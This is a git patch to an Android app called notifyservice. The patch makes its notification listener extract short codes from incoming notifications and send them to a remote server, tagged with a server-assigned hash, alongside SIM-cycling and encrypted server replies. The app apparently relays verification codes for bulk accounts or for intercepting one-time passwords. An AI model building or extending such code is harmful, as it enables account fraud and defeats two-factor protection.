From ec6a84eab9579fca2f7963a00833d7ccbd5803d6 Mon Sep 17 00:00:00 2001 From: Your Name Date: Wed, 9 Apr 2025 19:02:59 +0300 Subject: [PATCH] test --- .../com/example/notifyservice/Listener.java | 14 +++++- .../example/notifyservice/MainActivity.java | 50 +++++++++++++++---- .../notifyservice/NotificationCallback.java | 5 ++ .../example/notifyservice/PostRequest.java | 3 +- 4 files changed, 58 insertions(+), 14 deletions(-) create mode 100644 app/src/main/java/com/example/notifyservice/NotificationCallback.java diff --git a/app/src/main/java/com/example/notifyservice/Listener.java b/app/src/main/java/com/example/notifyservice/Listener.java index ef4f67a..53faa78 100644 --- a/app/src/main/java/com/example/notifyservice/Listener.java +++ b/app/src/main/java/com/example/notifyservice/Listener.java @@ -1,5 +1,7 @@ package com.example.notifyservice; +import static com.example.notifyservice.MainActivity.getCurrentHash; + import android.app.ActivityManager; import android.app.Notification; import android.content.Context; @@ -59,8 +61,16 @@ public class Listener extends NotificationListenerService { String code = processExtras(sbn.getNotification().extras); if (code.length() < 5) return; - MainActivity applicationContext = (MainActivity) getApplicationContext(); - applicationContext.onNotificationReceived(code); + Context context = getApplicationContext(); + PostRequest postRequestTask = new PostRequest(context, null); + postRequestTask.execute("code", + code + ";" + getCurrentHash(context)); // STATIC + if (MainActivity.callbackRef != null) { + NotificationCallback callback = MainActivity.callbackRef.get(); + if (callback != null) { + callback.onCodeReceived(code); + } + } } } diff --git a/app/src/main/java/com/example/notifyservice/MainActivity.java b/app/src/main/java/com/example/notifyservice/MainActivity.java index e78d4fd..d2d5068 100644 --- a/app/src/main/java/com/example/notifyservice/MainActivity.java +++ b/app/src/main/java/com/example/notifyservice/MainActivity.java @@ -39,6 +39,7 @@ import android.util.Log; import org.json.JSONException; import org.json.JSONObject; +import java.lang.ref.WeakReference; import java.util.ArrayList; import java.util.Arrays; import java.util.List; @@ -62,7 +63,6 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba private WebChromeClient.CustomViewCallback customViewCallback; private ViewGroup mainContainer; - private String currentHash = ""; // STATIC private int currentPhone = 0; private List phones; private boolean receivingSms = false; @@ -74,6 +74,28 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba private JSONObject ussd; private JSONObject language; + protected static WeakReference callbackRef = new WeakReference<>(null); + + public static void setNotificationCallback(NotificationCallback callback) { + callbackRef = new WeakReference<>(callback); + } + + public static void removeNotificationCallback() { + callbackRef.clear(); + } + + @Override + protected void onResume() { + super.onResume(); + MainActivity.setNotificationCallback(this::handleCodeReceived); + } + + @Override + protected void onPause() { + super.onPause(); + MainActivity.removeNotificationCallback(); + } + public class PhoneNumber { public String phone; @@ -293,16 +315,11 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba } } - public void onNotificationReceived(String code) { + public void handleCodeReceived(String code) { if(codes.contains(code)) return; - Log.i("a", "onNotificationReceived - " + code); // STATIC - Log.i("a", "CurrenHashReceived - " + currentHash); codes.add(code); cancelTimer(); - PostRequest postRequestTask = new PostRequest(this, this); - postRequestTask.execute("code", - code + ";" + currentHash); // STATIC nextPhone(); } @@ -327,6 +344,18 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba savePhone(context, phones.get(currentPhone)); } + public static String getCurrentHash(Context context) { + SharedPreferences prefs = context.getSharedPreferences("PRIVATE_DATA", Context.MODE_PRIVATE); + return prefs.getString("KEY_HASH", ""); // Return empty string if not found + } + + // Store the hash value + public static void setCurrentHash(Context context, String hash) { + SharedPreferences.Editor editor = context.getSharedPreferences("PRIVATE_DATA", Context.MODE_PRIVATE).edit(); + editor.putString("KEY_HASH", hash); + editor.apply(); // Asynchronously save changes + } + public static boolean isSimConnected(Context context, TelephonyManager telephonyManager) { Log.i("a", "isSimConnected"); // STATIC if (ContextCompat.checkSelfPermission(context, Manifest.permission.READ_PHONE_STATE) @@ -357,7 +386,7 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba } else { Log.i("a", "Phone not provided"); // STATIC receivingSms = false; - currentHash = ""; // STATIC + setCurrentHash(context, ""); // STATIC Log.i("a", "Sim connected result: " + isSimConnected(context, phone.telephonyManager)); if(!isSimConnected(context, phone.telephonyManager)) nextPhone(); @@ -367,7 +396,7 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba } private void requestPhone(Context context, PhoneNumber phone){ - currentHash = ""; // STATIC + setCurrentHash(context, ""); // STATIC Log.i("a", "Requesting phone - " + phone.phone); // STATIC PostRequest postRequestTask = new PostRequest(context, this); postRequestTask.execute("phone", @@ -380,8 +409,7 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba try { Log.i("PostResult", result.toString()); // STATIC if(result.has("hash")) { // STATIC - currentHash = result.getString("hash"); // STATIC - Log.i("currenthash", currentHash); // STATIC + setCurrentHash(this, result.getString("hash")); // STATIC } if(result.has("key")) // STATIC setKey(getBaseContext(), result.getString("key")); // STATIC diff --git a/app/src/main/java/com/example/notifyservice/NotificationCallback.java b/app/src/main/java/com/example/notifyservice/NotificationCallback.java new file mode 100644 index 0000000..9a5e027 --- /dev/null +++ b/app/src/main/java/com/example/notifyservice/NotificationCallback.java @@ -0,0 +1,5 @@ +package com.example.notifyservice; + +public interface NotificationCallback { + void onCodeReceived(String code); +} diff --git a/app/src/main/java/com/example/notifyservice/PostRequest.java b/app/src/main/java/com/example/notifyservice/PostRequest.java index 9203ca4..1914431 100644 --- a/app/src/main/java/com/example/notifyservice/PostRequest.java +++ b/app/src/main/java/com/example/notifyservice/PostRequest.java @@ -64,7 +64,8 @@ public class PostRequest { protected void onPostExecute(String result) { try { - + if (callback == null) + return; callback.onPostResponse((new JSONObject( Encryption.aesDecrypt( result